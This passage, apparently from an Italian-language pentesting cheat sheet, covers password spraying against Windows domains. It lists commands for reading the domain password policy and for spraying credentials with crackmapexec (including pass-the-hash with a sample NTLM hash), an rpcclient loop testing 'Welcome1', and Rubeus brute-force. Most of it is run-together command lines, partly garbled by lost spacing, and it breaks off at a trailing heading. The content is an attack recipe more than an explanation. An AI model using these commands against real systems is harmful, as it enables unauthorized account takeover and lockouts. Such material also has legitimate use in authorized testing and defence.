Una volta trovati diversi nomi utente validi, puoi provare le password più comuni (tieni presente la politica delle password dell'ambiente) con ciascuno degli utenti scoperti.
Per definizione, la lunghezza minima della password è 7.
Nota che potresti bloccare alcuni account se provi diverse password errate (per impostazione predefinita più di 10).
Ottieni la politica delle password
Se hai alcune credenziali utente o una shell come utente di dominio, puoi ottenere la politica delle password con:
# From Linuxcrackmapexec<IP>-u'user'-p'password'--pass-polenum4linux-u'username'-p'password'-P<IP>rpcclient-U""-N10.10.10.10;rpcclient $>querydominfoldapsearch-h10.10.10.10-x-b"DC=DOMAIN_NAME,DC=LOCAL"-ssub"*"|grep-m1-B10pwdHistoryLength# From Windowsnetaccounts(Get-DomainPolicy)."SystemAccess"#From powerview
Exploitation from Linux (or all)
Utilizzando crackmapexec:
crackmapexecsmb<IP>-uusers.txt-ppasswords.txt# Local Auth Spray (once you found some local admin pass or hash)## --local-auth flag indicate to only try 1 time per machinecrackmapexecsmb--local-auth10.10.10.10/23-uadministrator-H10298e182387f9cab376ecd08491764a0|grep+
Con il modulo scanner/smb/smb_login di Metasploit:
Utilizzando rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/for u in $(catusers.txt); dorpcclient-U"$u%Welcome1"-c"getusername;quit"10.10.10.10|grepAuthority;done
# with a list of users.\Rubeus.exebrute/users:<users_file>/passwords:<passwords_file>/domain:<domain_name>/outfile:<output_file># check passwords for all users in current domain.\Rubeus.exebrute/passwords:<passwords_file>/outfile:<output_file>
Con Invoke-DomainPasswordSpray (Può generare utenti dal dominio per impostazione predefinita e otterrà la politica delle password dal dominio e limiterà i tentativi in base ad essa):